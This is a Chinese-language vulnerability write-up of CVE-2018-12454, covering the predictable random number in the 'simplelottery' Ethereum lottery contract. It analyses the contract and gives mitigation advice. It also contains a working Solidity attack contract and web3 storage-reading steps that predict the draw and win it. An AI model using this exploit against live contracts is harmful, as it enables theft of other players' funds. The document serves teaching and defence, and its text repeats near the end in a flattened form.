CVE-2018-12454合约代码详细分析
字数 1235 2025-08-22 12:22:30

CVE-2018-12454智能合约漏洞分析与教学文档

一、漏洞概述

CVE-2018-12454是1000 Guess以太坊随机数竞猜游戏中的一个严重安全漏洞。该漏洞存在于simplelottery智能合约的_addguess函数中,由于使用公共可读取的变量生成随机值,导致攻击者可以预测并操纵游戏结果,从而持续获取奖励。

二、合约代码分析

1. 合约基本结构

pragma solidity ^0.4.11;

contract simplelottery {
    enum State { Started, Locked }
    State public state = State.Started;
    
    struct Guess{
        address addr;
    }
    
    uint arraysize=1000;
    uint constant maxguess=1000000;
    uint bettingprice = 1 ether;
    Guess[1000] guesses;
    uint numguesses = 0;
    bytes32 curhash = '';
    uint _gameindex = 1;
    uint _starttime = 0;
    
    address developer = 0x0;
    address _winner = 0x0;
    
    event SentPrizeToWinner(...);
    event SentDeveloperFee(...);
}

2. 关键变量说明

  • state: 合约状态(Started/Locked)
  • arraysize: 触发开奖的参与人数门限值
  • bettingprice: 参与竞猜的最小金额
  • guesses: 存储参与者地址的数组
  • numguesses: 当前参与人数
  • curhash: 用于生成随机数的哈希值
  • _gameindex: 游戏轮次
  • _starttime: 游戏开始时间戳

3. 核心函数分析

构造函数

function simplelottery() {
    if(developer==address(0)){
        developer = msg.sender;
        state = State.Started;
        _starttime = block.timestamp;
    }
}

竞猜参与函数

function _addguess() private inState(State.Started) {
    require(msg.value >= bettingprice);
    curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
    
    if((uint)(numguesses+1)<=arraysize) {
        guesses[numguesses++].addr = msg.sender;
        if((uint)(numguesses)>=arraysize){
            _finish();
        }
    }
}

开奖函数

function _finish() private {
    state = State.Locked;
    uint block_timestamp = block.timestamp;
    uint lotterynumber = (uint(curhash)+block_timestamp)%(maxguess+1);
    
    findWinner(lotterynumber);
    uint prize = getLotteryMoney();
    uint numwinners = 1;
    uint remain = this.balance - (prize*numwinners);
    
    _winner.transfer(prize);
    SentPrizeToWinner(...);
    
    developer.transfer(remain);
    SentDeveloperFee(...);
    
    numguesses = 0;
    _gameindex++;
    state = State.Started;
    _starttime = block.timestamp;
}

确定赢家函数

function findWinner(uint value) {
    uint i = value % numguesses;
    _winner = guesses[i].addr;
}

三、漏洞原理分析

1. 随机数生成机制

合约使用以下方式生成随机数:

curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
uint lotterynumber = (uint(curhash)+block.timestamp)%(maxguess+1);

2. 漏洞成因

  1. 链上数据公开性:以太坊区块链上所有数据都是公开可读的
  2. 可预测的随机源
    • block.timestamp: 区块时间戳
    • block.coinbase: 矿工地址
    • block.difficulty: 当前区块难度
    • curhash: 合约存储的哈希值
  3. 存储变量可读取curhash存储在合约中,可通过web3.eth.getStorageAt读取

3. 攻击路径

  1. 攻击者监控合约状态,等待参与人数接近门限值
  2. 读取合约存储中的curhash
  3. 计算下一轮可能的随机数结果
  4. 只有当计算结果有利于自己时才参与竞猜
  5. 重复此过程直到成功获取奖励

四、漏洞复现与攻击演示

1. 环境准备

  1. 部署合约并修改参数:

    • arraysize设为3(降低门限值)
    • bettingprice设为100 wei(降低参与成本)
  2. 准备两个测试账户:

    • 正常参与者账户
    • 攻击者账户

2. 攻击合约代码

contract Attack{
    address public owner;
    simplelottery lottery;
    uint constant maxguess=1000000;
    uint numguesses;
    
    event success(string s, uint balance);
    
    function () payable {}
    
    function attack(address target, bytes32 curhash, uint arraysize, uint attackerid) public payable {
        lottery = simplelottery(target);
        (,,,numguesses,,,) = lottery.getBettingStatus();
        
        if(numguesses != arraysize - 1) revert();
        
        curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
        uint lotterynumber = (uint(curhash)+block.timestamp)%(maxguess+1);
        uint i = lotterynumber % arraysize;
        
        if(attackerid != i) revert();
        
        target.call.value(0.01 ether)();
        success("Attack success!",this.balance);
        msg.sender.transfer(this.balance);
    }
}

3. 攻击步骤

  1. 读取合约存储中的curhash值:

    web3.eth.getStorageAt(contractAddress, 4, function(x, y) {console.warn(y)});
    
  2. 调用攻击合约:

    attack("0x合约地址", "0x获取的curhash值", 3, 1);
    
  3. 重复执行直到攻击成功

五、漏洞修复建议

  1. 使用链外随机源

    • 如Oraclize或Chainlink VRF
    • 引入可信第三方随机数服务
  2. 改进随机数生成方式

    // 增加难以预测的变量
    bytes32 private seed = keccak256(abi.encodePacked(
        block.timestamp,
        block.difficulty,
        msg.sender,
        blockhash(block.number - 1)
    ));
    
  3. 提交-揭示模式

    • 参与者先提交哈希值
    • 开奖时揭示原始值
    • 组合所有揭示值生成随机数
  4. 延迟开奖

    • 使用未来区块的哈希值
    • 增加预测难度

六、总结与经验教训

  1. 区块链随机数的特殊性

    • 所有链上数据都是公开的
    • 不能依赖区块变量作为唯一随机源
  2. 安全开发实践

    • 避免使用可预测的随机数生成方式
    • 考虑使用经过验证的随机数库
    • 进行彻底的安全审计
  3. 监控与响应

    • 监控合约异常行为
    • 准备应急响应方案

此漏洞展示了在智能合约开发中安全生成随机数的重要性,开发者必须充分理解区块链数据的透明性对安全性的影响,并采用适当的防护措施来保护合约免受此类攻击。

CVE-2018-12454智能合约漏洞分析与教学文档 一、漏洞概述 CVE-2018-12454是1000 Guess以太坊随机数竞猜游戏中的一个严重安全漏洞。该漏洞存在于simplelottery智能合约的 _addguess 函数中,由于使用公共可读取的变量生成随机值,导致攻击者可以预测并操纵游戏结果,从而持续获取奖励。 二、合约代码分析 1. 合约基本结构 2. 关键变量说明 state : 合约状态(Started/Locked) arraysize : 触发开奖的参与人数门限值 bettingprice : 参与竞猜的最小金额 guesses : 存储参与者地址的数组 numguesses : 当前参与人数 curhash : 用于生成随机数的哈希值 _gameindex : 游戏轮次 _starttime : 游戏开始时间戳 3. 核心函数分析 构造函数 竞猜参与函数 开奖函数 确定赢家函数 三、漏洞原理分析 1. 随机数生成机制 合约使用以下方式生成随机数: 2. 漏洞成因 链上数据公开性 :以太坊区块链上所有数据都是公开可读的 可预测的随机源 : block.timestamp : 区块时间戳 block.coinbase : 矿工地址 block.difficulty : 当前区块难度 curhash : 合约存储的哈希值 存储变量可读取 : curhash 存储在合约中,可通过 web3.eth.getStorageAt 读取 3. 攻击路径 攻击者监控合约状态,等待参与人数接近门限值 读取合约存储中的 curhash 值 计算下一轮可能的随机数结果 只有当计算结果有利于自己时才参与竞猜 重复此过程直到成功获取奖励 四、漏洞复现与攻击演示 1. 环境准备 部署合约并修改参数: 将 arraysize 设为3(降低门限值) 将 bettingprice 设为100 wei(降低参与成本) 准备两个测试账户: 正常参与者账户 攻击者账户 2. 攻击合约代码 3. 攻击步骤 读取合约存储中的 curhash 值: 调用攻击合约: 重复执行直到攻击成功 五、漏洞修复建议 使用链外随机源 : 如Oraclize或Chainlink VRF 引入可信第三方随机数服务 改进随机数生成方式 : 提交-揭示模式 : 参与者先提交哈希值 开奖时揭示原始值 组合所有揭示值生成随机数 延迟开奖 : 使用未来区块的哈希值 增加预测难度 六、总结与经验教训 区块链随机数的特殊性 : 所有链上数据都是公开的 不能依赖区块变量作为唯一随机源 安全开发实践 : 避免使用可预测的随机数生成方式 考虑使用经过验证的随机数库 进行彻底的安全审计 监控与响应 : 监控合约异常行为 准备应急响应方案 此漏洞展示了在智能合约开发中安全生成随机数的重要性,开发者必须充分理解区块链数据的透明性对安全性的影响,并采用适当的防护措施来保护合约免受此类攻击。